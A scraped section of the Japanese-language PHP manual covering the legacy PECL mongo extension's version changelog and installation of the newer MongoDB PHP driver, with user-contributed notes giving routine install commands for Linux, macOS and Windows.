 | MongoCollection::ensureIndex | Renamed the "wtimeout" option to "wTimeoutMS". Emits E_DEPRECATED when "wtimeout" is used. Renamed the "timeout" option to "socketTimeoutMS". Emits E_DEPRECATED when "timeout" is used. Emits E_DEPRECATED when "safe" is used.
 | MongoCollection::findOne | オプションの引数 options が追加されました。
 | MongoCollection::group | "maxTimeMS" オプションが追加されました。
 | MongoCollection::insert | "wTimeoutMS" オプションが追加されました。これは "wtimeout" を置き換えるものです。 "wtimeout" を使うと E_DEPRECATED が発生します。 "socketTimeoutMS" オプションが追加されました。これは "timeout" を置き換えるものです。 "timeout" を使うと E_DEPRECATED が発生します。 "safe" を使うと E_DEPRECATED が発生します。
 | MongoCollection::remove | "wTimeoutMS" オプションが追加されました。これは "wtimeout" を置き換えるものです。 "wtimeout" を使うと E_DEPRECATED が発生します。 "socketTimeoutMS" オプションが追加されました。これは "timeout" を置き換えるものです。 "timeout" を使うと E_DEPRECATED が発生します。 "safe" を使うと E_DEPRECATED が発生します。
 | MongoCollection::save | オプション "wTimeoutMS" が追加されました。 これは "wtimeout" を置き換えるものです。 "wtimeout" を使うと、E_DEPRECATED が発生します。 オプション "socketTimeoutMS" が追加されました。 これは "timeout" を置き換えるものです。 "timeout" を使うと、E_DEPRECATED が発生します。 "safe" を使うと、E_DEPRECATED が発生します。
 | MongoCollection::toIndexString | このメソッドは非推奨になりました。
 | MongoCollection::update | "wTimeoutMS" オプションが追加されました。これは "wtimeout" を置き換えるものです。 "wtimeout" を使うと E_DEPRECATED が発生します。 "socketTimeoutMS" オプションが追加されました。これは "timeout" を置き換えるものです。 "timeout" を使うと E_DEPRECATED が発生します。 "safe" を使うと E_DEPRECATED が発生します。
 | MongoCursor::slaveOkay | This method has been deprecated in favour of MongoCursor::setReadPreference and .
 | MongoDB::command | オプション "timeout" の名前が "socketTimeoutMS" に変わりました。 "wtimeout" を使うと、E_DEPRECATED が発生します。 参照渡しの hash パラメータが追加されました。
PECL mongo 1.4.5 | MongoCursor::batchSize | Before 1.4.5, this method would throw an MongoCursorException if the cursor had already started iterating.
PECL mongo 1.4.0 | MongoClient::__construct | Added "ssl" option and support for connecting over SSL. Added "wTimeoutMS" option, which replaces "wTimeout". Emits E_DEPRECATED when "slaveOkay" or "timeout" is used.
 | MongoCursor::hint | index 引数に、文字列でインデックス名を指定できるよういなりました。 これより前のバージョンでは、配列またはオブジェクトしか渡せませんでした。
 | MongoCursor::setFlag | Support for flag 3 (OPLOG_REPLAY) is added. Versions before 1.4.0 would throw a warning saying that the flag is unsupported.
 | MongoDB::createCollection | 1.4.0 より前のバージョンでは、個々のオプションがすべてメソッドの引数になっていました。 旧バージョンのシグネチャは、次のとおりです。 public MongoCollectionMongoDB::createCollection stringname boolcappedfalse intsize0 intmax0 各オプションの意味は、先ほど options 引数のところで説明したとおりです。
 | MongoId::__construct | An exception is thrown when passed invalid string
PECL mongo 1.3.4 | MongoClient::__construct | Added "connectTimeoutMS" and "socketTimeoutMS" options.
 | MongoCollection::batchInsert | "wtimeout" オプションが追加されました。
 | MongoCollection::ensureIndex | Added "wtimeout" option.
 | MongoCollection::insert | "wtimeout" オプションが追加されました。
 | MongoCollection::remove | "wtimeout" オプションが追加されました。
 | MongoCollection::update | "wtimeout" オプションが追加されました。
PECL mongo 1.3.3 | MongoClient::getReadPreference | 返り値が変わり、 MongoClient::setReadPreference との整合性があるものになりました。 type の値は数字から文字列に変わり、 type_string は削除され、そして tagsets はコロン区切りの文字列ではなくキー/値のペアでタグを表すようになりました。
 | MongoCollection::getReadPreference | 返り値が変わり、 MongoCollection::setReadPreference との整合性があるものになりました。 type の値は数字から文字列に変わり、 type_string は削除され、そして tagsets はコロン区切りの文字列ではなくキー/値のペアでタグを表すようになりました。
 | MongoDB::getReadPreference | 返り値が変わり、 MongoDB::setReadPreference との整合性があるものになりました。 type の値は数字から文字列に変わり、 type_string は削除され、そして tagsets はコロン区切りの文字列ではなくキー/値のペアでタグを表すようになりました。
PECL mongo 1.3.0 | Mongo::close | connection パラメータが追加されました。 それより前のバージョンでは、このメソッドで閉じられるのは書き込み接続だけでした。
 | MongoClient::__construct | Added "readPreference", "readPreferenceTags", "w", and "wTimeout" options.
 | MongoCollection::batchInsert | "w" オプションが追加されました。
 | MongoCollection::ensureIndex | Added "w" option. The options parameter no longer accepts a boolean to signify a unique index. Instead, this now has to be done with array('unique' => true).
 | MongoCollection::insert | "w" オプションが追加されました。 options パラメータで、boolean だけを渡して確認付きの書き込みを指定することができなくなりました。 同じことをするには array('w' => 1) (MongoClient のデフォルト) としなければなりません。
 | MongoCollection::remove | "w" オプションが追加されました。 options パラメータで、boolean だけを渡して "justOne" を指定することができなくなりました。 同じことをするには array('justOne' => true) としなければなりません。
 | MongoCollection::update | "w" オプションが追加されました。 options パラメータで、boolean だけを渡して upsert を指定することができなくなりました。 同じことをするには array('upsert'' => true) としなければなりません。
 | MongoDB::listCollections | includeSystemCollections が追加されました。
 | MongoGridFSCursor::key | ドキュメントの _id を文字列で返すようになりました。 キーは一意であるはずだからです。 これより前のバージョンでは filename を返していました。
PECL mongo 1.2.11 | Mongo::getPoolSize | E_DEPRECATED を発行するようになりました。
 | Mongo::getSlave | E_DEPRECATED を発行するようになりました。
 | Mongo::getSlaveOkay | E_DEPRECATED を発行するようになりました。
 | Mongo::poolDebug | Emits E_DEPRECATED when used.
 | Mongo::setSlaveOkay | Emits E_DEPRECATED when used.
 | Mongo::switchSlave | E_DEPRECATED を発行するようになりました。
 | MongoBinData::__construct | Emits E_DEPRECATED when the second argument is not used. The default value for type may change in the near future.
 | MongoCollection::ensureIndex | Emits E_DEPRECATED when options is scalar.
 | MongoCollection::getSlaveOkay | E_DEPRECATED を発行するようになりました。
 | MongoCollection::group | options が scalar のときに E_DEPRECATED を発行するようになりました。
 | MongoCollection::remove | options が scalar のときに E_DEPRECATED を発行するようになりました。
 | MongoCollection::setSlaveOkay | Emits E_DEPRECATED when used.
 | MongoCollection::update | options が scalar のときに E_DEPRECATED を発行するようになりました。
 | MongoCursor::doQuery | Emits E_DEPRECATED when used.
 | MongoDB::authenticate | E_DEPRECATED を発行するようになりました。 認証情報の詳細をコンストラクタに渡しましょう。
 | MongoDB::forceError | E_DEPRECATED を発行するようになりました。
 | MongoDB::getSlaveOkay | E_DEPRECATED を発行するようになりました。
 | MongoDB::prevError | E_DEPRECATED を発行するようになりました。
 | MongoDB::resetError | E_DEPRECATED を発行するようになりました。
 | MongoDB::setSlaveOkay | Emits E_DEPRECATED when used.
 | MongoPool::getSize | Emits E_DEPRECATED when used.
 | MongoPool::info | Emits E_DEPRECATED when used.
 | MongoPool::setSize | Emits E_DEPRECATED when used.
PECL mongo 1.2.10 | Mongo::getHosts | レプリカセットでない場合もサポートするようになりました。 返される配列の要素に、新たに hostname と port を含むようになりました。
PECL mongo 1.2.7 | MongoCollection::batchInsert | "continueOnError" オプションが追加されました。
PECL mongo 1.2.5 | MongoGridFS::storeUpload | 二番目のパラメータがメタデータの配列に変わりました。これより前のバージョンでは、 二番目のパラメータはオプションの文字列で、ファイル名を上書きするものでした。
PECL mongo 1.2.0 | Mongo::close | 1.2.0 より前のバージョンでは、デフォルトでは持続的接続を使いませんでした。 そして、MongoDB の接続がスコープから抜ければすぐに閉じられていました。 バージョン 1.2.0 からはそうではなくなりました。 close を呼ばないと、高負荷な接続がサーバーを使い切ってしまう可能性があります。
 | MongoClient::__construct | Added "username" and "password" options. Removed "persist" option, as all connections are now persistent. It can still be used, but it doesn't affect anything. "persist" If the connection should be persistent. If set, the connection will be persistent. The string representation of the value is used as an ID for the connection, so two instances of MongoClient that are initialized with array("persist" => "foobar") will share the same database connection, whereas an instance initialized with array("persist" => "barbaz") will use a different database connection. The "replicaSet" option now takes a string, not a boolean.
 | MongoCollection::ensureIndex | Added "timeout" option.
 | MongoCollection::insert | "timeout" オプションが追加されました。
 | MongoCollection::remove | "timeout" オプションが追加されました。
 | MongoCollection::save | "timeout" オプションが追加されました。
 | MongoCollection::update | "timeout" オプションが追加されました。
 | MongoDB::command | options パラメータと、そのオプション "timeout" が追加されました。
PECL mongo 1.1.0 | MongoCursor::info | 多くのフィールドが追加されました。id (カーソル ID)、 at (現在のドキュメントを表すドライバのカウンタ)、 numReturned (サーバーが現在のバッチで返した件数)、そして server (クエリの送信先のサーバー。 と組み合わせると便利) などです。
PECL mongo 1.0.11 | MongoCollection::ensureIndex | The "safe" option will trigger a primary failover, if necessary. MongoException will be thrown if the index name (either generated or set) is longer than 128 bytes.
 | MongoCollection::insert | "safe" が設定されている場合は、"not master" エラーで接続を切断するようになりました。
 | MongoCollection::remove | "safe" が設定されている場合は、"not master" エラーで接続を切断するようになりました。
 | MongoCollection::save | "safe" が設定されている場合は、"not master" エラーで接続を切断するようになりました。
 | MongoCollection::update | "safe" が設定されている場合は、"not master" エラーで接続を切断するようになりました。
PECL mongo 1.0.10 | MongoCursor::info | started_iterating フィールドが追加されました。boolean で、 このカーソルがクエリ実行前か実行後かを返します。
PECL mongo 1.0.9 | MongoClient::__construct | Added "replicaSet" option.
 | MongoCollection::batchInsert | "safe" オプションに整数値がわたせるようになりました (以前は boolean のみでした)。 "fsync" オプションが追加されました。
 | MongoCollection::insert | "safe" オプションに整数値がわたせるようになりました (以前は boolean のみでした)。 "fsync" オプションが追加されました。 "safe" オプションを使っている場合の返り値の型が配列に変わりました。 配列にはエラー情報が含まれています。"safe" オプションを使わない場合は、今までどおり boolean のままです。
 | MongoCollection::remove | "safe" オプションに整数値がわたせるようになりました (以前は boolean のみでした)。 "fsync" オプションが追加されました。 "safe" オプションを使っている場合の返り値の型が配列に変わりました。 配列にはエラー情報が含まれています。"safe" オプションを使わない場合は、今までどおり boolean のままです。
 | MongoCollection::save | "fsync" オプションが追加されました。
 | MongoCollection::update | "safe" オプションに整数値がわたせるようになりました (以前は boolean のみでした)。 "fsync" オプションが追加されました。 "safe" オプションを使っている場合の返り値の型が配列に変わりました。 配列にはエラー情報が含まれています。"safe" オプションを使わない場合は、今までどおり boolean のままです。
PECL mongo 1.0.7 | MongoCollection::count | limit および skip が それぞれ二番目、三番目のパラメータとして追加されました。
PECL mongo 1.0.5 | MongoCollection::batchInsert | options パラメータが追加されました。
 | MongoCollection::ensureIndex | Added the "name" option to override index name creation.
 | MongoCollection::remove | 二番目のパラメータがオプションの配列に変わりました。1.0.5 より前のバージョンでは、二番目のパラメータは "safe" オプションを表す boolean 値でした。
 | MongoCollection::save | options パラメータが追加されました。
 | MongoCollection::update | "safe" オプションが追加されました。
PECL mongo 1.0.2 | MongoClient::__construct | Changed constructor to take an array of options. Pre-1.0.2, the constructor took the following parameters: server The server name. connect Optional boolean parameter specifying if the constructor should connect to the database before returning. Defaults to true. persistent If the connection should be persistent. paired If the connection should be paired.
 | MongoCollection::ensureIndex | Changed options parameter from boolean to array. Pre-1.0.2, the second parameter was an optional boolean value specifying a unique index.
 | MongoCollection::insert | 二番目のパラメータがオプションの配列に変わりました。1.0.2 より前のバージョンでは、二番目のパラメータは "safe" オプションを表す boolean 値でした。
PECL mongo 1.0.1 | MongoCollection::insert | "safe" オプションが設定されていて追加に失敗した場合に MongoCursorException をスローするようになりました。
 | MongoCollection::update | options パラメータが boolean から配列に変わりました。 1.0.1 より前のバージョンでは二番目のパラメータはオプションの boolean 値で、upsert を指定するものでした。

User Contributed Notes

There are no user contributed notes for this page.


MongoDB driver

Unlike the mongo extension, this extension is developed atop the » libmongoc and » libbson libraries. It provides a minimal API for core driver functionality: commands, queries, writes, connection management, and BSON serialization.

Userland PHP libraries that depend on this extension may provide higher level APIs, such as query builders, individual command helper methods, and GridFS. Application developers should consider using this extension in conjunction with the » MongoDB PHP library, which implements the same higher level APIs found in MongoDB drivers for other languages. This separation of concerns allows the driver to focus on essential features for which an extension implementation is paramount for performance.

  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • 定義済み定数
  • Tutorials
    • Using the PHP Library for MongoDB (PHPLIB)
    • Application Performance Monitoring (APM)
  • Driver Architecture and Internals — Explains the driver architecture, and special features
    • Architecture — Architecture Overview
    • Connections — Connection handling and persistence
    • Persisting Data — Serialization and deserialization of PHP variables into MongoDB
  • Security
    • Request Injection Attacks
    • Script Injection Attacks
  • MongoDB\Driver — MongoDB driver classes
    • MongoDB\Driver\Manager — The MongoDB\Driver\Manager class
    • MongoDB\Driver\Command — The MongoDB\Driver\Command class
    • MongoDB\Driver\Query — The MongoDB\Driver\Query class
    • MongoDB\Driver\BulkWrite — The MongoDB\Driver\BulkWrite class
    • MongoDB\Driver\Session — The MongoDB\Driver\Session class
    • MongoDB\Driver\ClientEncryption — The MongoDB\Driver\ClientEncryption class
    • MongoDB\Driver\WriteConcern — The MongoDB\Driver\WriteConcern class
    • MongoDB\Driver\ReadPreference — The MongoDB\Driver\ReadPreference class
    • MongoDB\Driver\ReadConcern — The MongoDB\Driver\ReadConcern class
    • MongoDB\Driver\Cursor — The MongoDB\Driver\Cursor class
    • MongoDB\Driver\CursorId — The MongoDB\Driver\CursorId class
    • MongoDB\Driver\CursorInterface — The MongoDB\Driver\CursorInterface interface
    • MongoDB\Driver\Server — The MongoDB\Driver\Server class
    • MongoDB\Driver\WriteConcernError — The MongoDB\Driver\WriteConcernError class
    • MongoDB\Driver\WriteError — The MongoDB\Driver\WriteError class
    • MongoDB\Driver\WriteResult — The MongoDB\Driver\WriteResult class
  • MongoDB\BSON — BSON type classes and serialization functions
    • 関数
    • MongoDB\BSON\Binary — The MongoDB\BSON\Binary class
    • MongoDB\BSON\Decimal128 — The MongoDB\BSON\Decimal128 class
    • MongoDB\BSON\Javascript — The MongoDB\BSON\Javascript class
    • MongoDB\BSON\MaxKey — The MongoDB\BSON\MaxKey class
    • MongoDB\BSON\MinKey — The MongoDB\BSON\MinKey class
    • MongoDB\BSON\ObjectId — The MongoDB\BSON\ObjectId class
    • MongoDB\BSON\Regex — The MongoDB\BSON\Regex class
    • MongoDB\BSON\Timestamp — The MongoDB\BSON\Timestamp class
    • MongoDB\BSON\UTCDateTime — The MongoDB\BSON\UTCDateTime class
    • MongoDB\BSON\Type — The MongoDB\BSON\Type interface
    • MongoDB\BSON\Persistable — The MongoDB\BSON\Persistable interface
    • MongoDB\BSON\Serializable — The MongoDB\BSON\Serializable interface
    • MongoDB\BSON\Unserializable — The MongoDB\BSON\Unserializable interface
    • MongoDB\BSON\BinaryInterface — The MongoDB\BSON\BinaryInterface interface
    • MongoDB\BSON\Decimal128Interface — The MongoDB\BSON\Decimal128Interface interface
    • MongoDB\BSON\JavascriptInterface — The MongoDB\BSON\JavascriptInterface interface
    • MongoDB\BSON\MaxKeyInterface — The MongoDB\BSON\MaxKeyInterface interface
    • MongoDB\BSON\MinKeyInterface — The MongoDB\BSON\MinKeyInterface interface
    • MongoDB\BSON\ObjectIdInterface — The MongoDB\BSON\ObjectIdInterface interface
    • MongoDB\BSON\RegexInterface — The MongoDB\BSON\RegexInterface interface
    • MongoDB\BSON\TimestampInterface — The MongoDB\BSON\TimestampInterface interface
    • MongoDB\BSON\UTCDateTimeInterface — The MongoDB\BSON\UTCDateTimeInterface interface
    • MongoDB\BSON\DBPointer — The MongoDB\BSON\DBPointer class (deprecated)
    • MongoDB\BSON\Int64 — The MongoDB\BSON\Int64 class
    • MongoDB\BSON\Symbol — The MongoDB\BSON\Symbol class (deprecated)
    • MongoDB\BSON\Undefined — The MongoDB\BSON\Undefined class (deprecated)
  • MongoDB\Driver\Monitoring — Monitoring classes and subscriber functions
    • 関数
    • MongoDB\Driver\Monitoring\CommandFailedEvent — The MongoDB\Driver\Monitoring\CommandFailedEvent class
    • MongoDB\Driver\Monitoring\CommandStartedEvent — The MongoDB\Driver\Monitoring\CommandStartedEvent class
    • MongoDB\Driver\Monitoring\CommandSucceededEvent — The MongoDB\Driver\Monitoring\CommandSucceededEvent class
    • MongoDB\Driver\Monitoring\CommandSubscriber — The MongoDB\Driver\Monitoring\CommandSubscriber interface
    • MongoDB\Driver\Monitoring\Subscriber — The MongoDB\Driver\Monitoring\Subscriber interface
  • MongoDB\Driver\Exception — Exception classes
    • MongoDB\Driver\Exception\AuthenticationException — The MongoDB\Driver\Exception\AuthenticationException class
    • MongoDB\Driver\Exception\BulkWriteException — The MongoDB\Driver\Exception\BulkWriteException class
    • MongoDB\Driver\Exception\CommandException — The MongoDB\Driver\Exception\CommandException class
    • MongoDB\Driver\Exception\ConnectionException — The MongoDB\Driver\Exception\ConnectionException class
    • MongoDB\Driver\Exception\ConnectionTimeoutException — The MongoDB\Driver\Exception\ConnectionTimeoutException class
    • MongoDB\Driver\Exception\EncryptionException — The MongoDB\Driver\Exception\EncryptionException class
    • MongoDB\Driver\Exception\Exception — The MongoDB\Driver\Exception\Exception interface
    • MongoDB\Driver\Exception\ExecutionTimeoutException — The MongoDB\Driver\Exception\ExecutionTimeoutException class
    • MongoDB\Driver\Exception\InvalidArgumentException — The MongoDB\Driver\Exception\InvalidArgumentException class
    • MongoDB\Driver\Exception\LogicException — The MongoDB\Driver\Exception\LogicException class
    • MongoDB\Driver\Exception\RuntimeException — The MongoDB\Driver\Exception\RuntimeException class
    • MongoDB\Driver\Exception\ServerException — The MongoDB\Driver\Exception\ServerException class
    • MongoDB\Driver\Exception\SSLConnectionException — The MongoDB\Driver\Exception\SSLConnectionException class (deprecated)
    • MongoDB\Driver\Exception\UnexpectedValueException — The MongoDB\Driver\Exception\UnexpectedValueException class
    • MongoDB\Driver\Exception\WriteException — The MongoDB\Driver\Exception\WriteException class
    • Class Tree — MongoDB Exception Class Tree

User Contributed Notes

mike at eastghost dot com 27-Dec-2017 06:10
PHP 'USERLAND' / HIGHER-LEVEL DRIVER IS HERE --  [url]https://github.com/mongodb/mongo-php-driver[/url]

In new driver, these fail:

(A) $count = $collection->find( $criteria )->count();

(B1) $cursor = $collection->find( $criteria );
(B2) $count = $cursor->count();

In new driver, result counting has become its own separate action, to be applied to the collection, not the cursor:

$count = $collection->count( $criteria );
$cursor = $collection->find( $criteria );

From jmikola 6 Jan 2016 ([url]https://github.com/mongodb/mongo-php-driver/issues/195 here[/url]):

"In the new driver, a Cursor object now represents the actual results of an executed command or query, whereas cursors in the legacy driver had a dual-nature (pre- or post-executed). The legacy MongoCursor::count() method actually invoked a count command with the same criteria; however, this meant it was entirely possible for the count command's calculation to differ from the actual query results, since they were not necessarily operating on the same result data.

"The userland library implements a count() method on the collection, which also takes filter criteria, and we'd rather encourage that so users understand that the operations are separate. If we do end up making Cursor countable in the userland library, we would use iterator_count() to provide an exact count on the results; however, this will also require us to cache the results so that users can rewind the cursor and iterate again (this was most recently discussed in PHPLIB-81). While the legacy driver would re-execute the query on a rewind, that's also not an option given the nature of a Cursor in the new driver.

"I realize this may come across as an inconvenience, but I believe the explicit API is a ultimately a step forward from the legacy driver, where many users might have been oblivious to what was actually happening under the hood. Feel free to follow up if you have additional questions.
mike at eastghost dot com 04-Jun-2017 05:11
There is an adapter - so old MongoClient / MongoDB code will run on the new PHP7/Mongo mess

https://github.com/alcaeus/mongo-php-adapter
n dot vandermeij at mycademy dot com 01-Dec-2016 04:02
*** ONLY FOR VERSIONS >= 1.2.0 ***

If you encounter the following error:

"PHP Warning:  PHP Startup: Unable to load dynamic library '/usr/lib64/php/modules/mongodb.so'
 - /usr/lib64/php/modules/mongodb.so: undefined symbol: php_json_serializable_ce in Unknown on line 0"

For a detailed explanation, please visit:

https://derickrethans.nl/undefined-symbol.html

TLDR: You need to load the mongodb.so extension after the json.so
extension

Special thanks to Derick Rethans for pointing this out!


インストール/設定

  • 要件
  • インストール手順
    • Installing the MongoDB PHP Driver with PECL
    • Installing the MongoDB PHP Driver on macOS with Homebrew
    • Installing the MongoDB PHP Driver on Windows
    • Building the MongoDB PHP Driver from source
  • 実行時設定
  • 定義済み定数

User Contributed Notes

There are no user contributed notes for this page.


要件

As of version 1.8.0, the driver requires PHP 7.0 or higher. Previous versions of the driver allow compatibility with older PHP versions.

The driver requires » libbson and » libmongoc, and will use bundled versions of both libraries by default. System libraries may also be used, as discussed in the manual installation documentation.

The driver, via libmongoc, optionally depends on a TLS library (e.g. OpenSSL) and will use it if available. If the build process fails to find a TLS library, users should check that the appropriate development package (e.g. libssl-dev) and » pkg-config are both installed. The process for detecting and configuring TLS libraries is discussed in more detail in the manual installation documentation.

» Cyrus SASL is an optional dependency to support Kerberos authentication and will be used if available.

注意: Due to potential problems representing 64-bit integers on 32-bit platforms, users are advised to use 64-bit environments. When using a 32-bit platform, be aware that any 64-bit integer read from the database will be returned as a MongoDB\BSON\Int64 instance instead of a PHP integer type.

User Contributed Notes

mfoley at cms-controls dot com 02-Mar-2017 01:22
I ran into this module requiring libsasl.dll available in the Windows Path. I thought that was just for the old driver, but apparently not. I'm running PHP 7.0.7 with Apache 2.4 (VC14), x64 thread-safe. I was working with version 1.2.5 of the MongoDB driver.


インストール手順

目次

  • Installing the MongoDB PHP Driver with PECL
  • Installing the MongoDB PHP Driver on macOS with Homebrew
  • Installing the MongoDB PHP Driver on Windows
  • Building the MongoDB PHP Driver from source

User Contributed Notes

There are no user contributed notes for this page.


Installing the MongoDB PHP Driver with PECL

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/mongodb

Linux, Unix, and macOS users may run the following command to install the driver:

$ sudo pecl install mongodb

If your system has multiple version of PHP installed (e.g. macOS default, Homebrew, » XAMPP), note that that each version of PHP has its own pecl command and php.ini file.

Installing the driver via PECL will use bundled versions of » libbson and » libmongoc and attempt to automatically configure them.

注意: If the build process fails to find an SSL library, check that the development packages (e.g. libssl-dev) and » pkg-config are both installed. If that does not resolve the problem, consider using the manual installation process.

Finally, add the following line to your php.ini file:

extension=mongodb.so

User Contributed Notes

mohammadhoseinmazalahi at gmail dot com 19-May-2020 10:30
As of Ubuntu 20.04, php-mongodb in the database is outdated and you'll need the PECL method to install latest version of MongoDB.

To do this in Ubuntu, you'll need the php-pear plugin and php-dev:
sudo apt install php-dev php-pear

then you can run:
sudo pecl install mongodb
asologor at gmail dot com 27-Jul-2017 08:48
On Ubuntu you can just do:

  sudo apt-get install php-mongodb

or the same for specific PHP version:

  sudo apt-get install php5.6-mongo

or

  sudo apt-get install php7.0-mongodb
Unmesh 12-Jul-2017 08:28
The following steps worked for me on Centos7

sudo yum install -y openssl-devel
sudo yum install pecl
sudo yum install gcc
sudo pecl install mongodb
maneesh dot singh at hof-university dot com 20-Feb-2017 11:20
Hi,
I am looking into installation of php mongo db driver.
I have checked with phpinfo it shows mongodb module have been loaded but when I use in my code it give error "Fatal error: Uncaught Error: Class 'MongoDB' not found "

i have another module for redis and it works perfectly . Initially I was getting same error but phpinfo was showing module is not loaded .

I guess there is some problem with driver. I have tried all the documents and website links which mention to include extenstion=mongodb.so which i have already done.

I am using open suse 42.2 leap with apache server.

Could you please investigate this issue.
If you need more info please let me know.

Thanks
Maneeshg
ovidius at email dot it 13-Feb-2017 11:11
after installed and added extension=mongodb to php.ini, when i run php -v i get this error:

bus error php -v

what could it be? the build process completed successfully.
rafael_xuvisco at yahoo dot com dot br 08-Nov-2016 01:16
Ubuntu 16.04

sudo apt-get install libcurl4-openssl-dev pkg-config libssl-dev libsslcommon2-dev

sudo pecl install mongodb

add extension=mongodb.so in fpm and cli:

sudo vim /etc/php/7.0/fpm/conf.d/30-mongodb.ini

sudo vim /etc/php/7.0/cli/conf.d/30-mongodb.ini

Restart service:

sudo systemctl restart php7.0-fpm

sudo systemctl reload nginx
Anonymous 24-Sep-2016 06:17
I got an error "fatal error: pcre.h: No such file or directory" and had to also had to install another dependency

sudo apt-get install libpcre3-dev
contact ? automatix : info 30-Jun-2016 11:28
An additional requirement might be pkg-config (on Ubuntu 14.04).

$ pecl install mongodb
...
configure: error: Cannot find OpenSSL's libraries
ERROR: `/tmp/pear/temp/mongodb/configure --with-php-config=/usr/bin/php-config' failed

But:

$ apt-get install pkg-config
...
Setting up pkg-config (0.26-1ubuntu4) ...
$ pecl install mongodb
...
Build process completed successfully
Installing '/usr/lib/php/20151012/mongodb.so'
install ok: channel://pecl.php.net/mongodb-1.1.7
configuration option "php_ini" is not set to php.ini location
You should add "extension=mongodb.so" to php.ini
Tim Greiser 18-Jun-2016 10:57
[Editor's note: fixed typo]

There are some additional requirements you need to build the pecl package.

sudo apt-get install libcurl4-openssl-dev pkg-config libssl-dev libsslcommon2-dev


Installing the MongoDB PHP Driver on macOS with Homebrew

» Homebrew 1.5.0 deprecated the » Homebrew/php tap and removed formulae for individual PHP extensions. Going forward, macOS users are advised to install the » php formula and follow the standard PECL installation instructions using the pecl command provided by the Homebrew PHP installation.

User Contributed Notes

Luiz Eduardo 18-Dec-2018 05:29
How to install on macOS Mojave

Start with:

sudo pecl install mongodb

To check if mongodb package is installed, look for "mongodb" when you run:

pecl list

To get your installed mongodb.so path, run:

pecl list-files mongodb | grep mongodb.so

then remove (or comment out) on your php.ini file:

extension="mongodb.so"

(I could not found a line with extension="php_mongodb.so")

now insert a line with:

extension="{{the path to your installed mongodb.so}}"

Run this command to get your ext-*.ini directory path:

php -i | grep Scan

Create your ext-mongodb.ini with:

touch {{your conf.d path}}/ext-mongodb.ini

like:
touch /usr/local/etc/php/7.1/conf.d/ext-mongodb.ini

Restart your apache to read the new configuration

Sanity check with:

php -i | grep mongodb

Your're ready to go.
lcalrissian at yahoo dot com 08-Apr-2018 09:21
The mongodb install has been removed from Homebrew. To install the mongodb extension you need to use pecl.

sudo pecl install mongodb

You may need to follow some additional configuration. Follow the inline instructions as they appear. Once the install is finished it will add two lines at the bottom of your php.ini file. Instead, remove these lines and add the and add a separate file to your conf.d directory in the same directory as you php.ini file.

In php.ini remove

extension="mongodb.so" // remove
extension="php_mongodb.so // remove

Then run:

$ touch /usr/local/etc/php/5.6/conf.d/ext-mongodb.ini

Finally add this line to the new file:

// example
extension="/usr/local/Cellar/php@5.6/5.6.35/pecl/20131226/mongodb.so"
okanck at gmail dot com 05-Apr-2018 07:57
All formulas in homebrew/php has been deleted or moved to homebrew/core.

To avoid installation problem in homebrew, you can use the command below:

brew tap kyslik/php
brew install phpXX-mongodb
tfe 04-Apr-2018 05:42
Then I try install

brew install php72-mongodb

I get error:

Error: No available formula with the name "php72-mongodb"
==> Searching for a previously deleted formula (in the last month)...
Error: No previously deleted formula found.
==> Searching for similarly named formulae...
==> Searching local taps...
Error: No similarly named formulae found.
==> Searching taps...
==> Searching taps on GitHub...
cristian dot carreno dot g at gmail dot com 23-Sep-2017 02:24
For OS Sierra 10.12.6

PHP 5.6

brew tap homebrew/php
brew install php56-mongodb
extension="/usr/local/opt/php56-mongodb/mongodb.so"
simon at programujem dot eu 12-Apr-2017 08:56
The mongodb extension is also available for PHP 7.1, you can install it using similar command:

brew install php71-mongodb
haxpor at gmail dot com 02-Mar-2017 02:29
No only just you install it via brew for correct version of php installed on your machine.

You have to set extension in php.ini too.

In case of macOS and php 5.6 installed.
I have to set

extension="/usr/local/opt/php56-mongo/mongo.so"

The correct path will show mongodb loaded on phpinfo.
amit dot clavax at gmail dot com 24-Nov-2016 06:06
Below command work for me mac sierra os
brew install php55-mongodb
givemeanthony at outlook dot com 03-Sep-2016 09:05
You must first tap the PHP formula repository from terminal like so

    brew tap homebrew/php

in order to install PHP extensions like MongoDB via Homebrew.
After tapping the formula repository, install the MongoDB extension

    brew install phpxx-mongodb

where xx is the version number.
avtrulzz at yahoo dot co dot in 03-Sep-2016 10:07
The correct command for installation is using homebrew is
brew install homebrew/php/phpxx-mongodb

For ex. to install the driver for php5.6 use :
brew install homebrew/php/php55-mongodb


Installing the MongoDB PHP Driver on Windows

Precompiled binaries for each release are available from » PECL for a variety of combinations of versions, thread safety, and VC libraries. Extract the archive and put php_mongodb.dll in your PHP extension directory ("ext" by default).

Add the following line to your php.ini file:

extension=php_mongodb.dll

注意: Additional DLL dependencies for Windows Users

この拡張モジュールを動作させるには、 Windows システムの PATH が通った場所に DLL ファイルが存在する必要があります。 FAQ の "Windows で PHP のディレクトリを PATH に追加するにはどうすればいいのですか?" で、その方法を説明しています。 DLL ファイルを PHP のフォルダから Windows のシステムディレクトリにコピーしても動作します (システムディレクトリは、デフォルトで PATH に含まれるからです) が、これは推奨しません。 この拡張モジュールを使用するには、以下のファイルが PATH の通った場所にある必要があります。 libsasl.dll

User Contributed Notes

luchontandil3 at gmail dot com 26-May-2020 01:23
Try using:

extension=php_mongodb.dll

instead and restarting the xammp server for php
also download the correct .dll for your version of php

you can check your version of php with index.php and inside adding

<?php
phpinfo();
>
Xylon Reyes 12-Aug-2016 02:12
With the newer version of MongoDB, this should be...

extension=php_mongodb.dll

(the filename of the latest stable release at PECL)

Official MongoDB library are available at GitHub as well as its documentation.

Precompiled binaries are also available at GitHub for the legacy and the newer version.


Building the MongoDB PHP Driver from source

For driver developers and people interested in the latest bugfixes, you can compile the driver from the latest source code on » Github. Run the following commands to clone and build the project:

$ git clone https://github.com/mongodb/mongo-php-driver.git
$ cd mongo-php-driver
$ git submodule update --init
$ phpize
$ ./configure
$ make all
$ sudo make install

If your system has multiple version of PHP installed (e.g. macOS default and » XAMPP), note that each version of PHP has its own phpize command and php.ini file.

By default, the driver will use bundled versions of » libbson, » libmongoc, and » libmongocrypt and attempt to configure them on its own. If these libraries are already installed as system libraries, you can instruct the driver to utilize them by specifying --with-libbson=yes --with--libmongoc=yes as arguments to configure. Starting with version 1.7.0 of the extension, these arguments are deprecated and you should use --with-mongodb-system-libs=yes instead.

For a complete list of configure options, run configure --help.

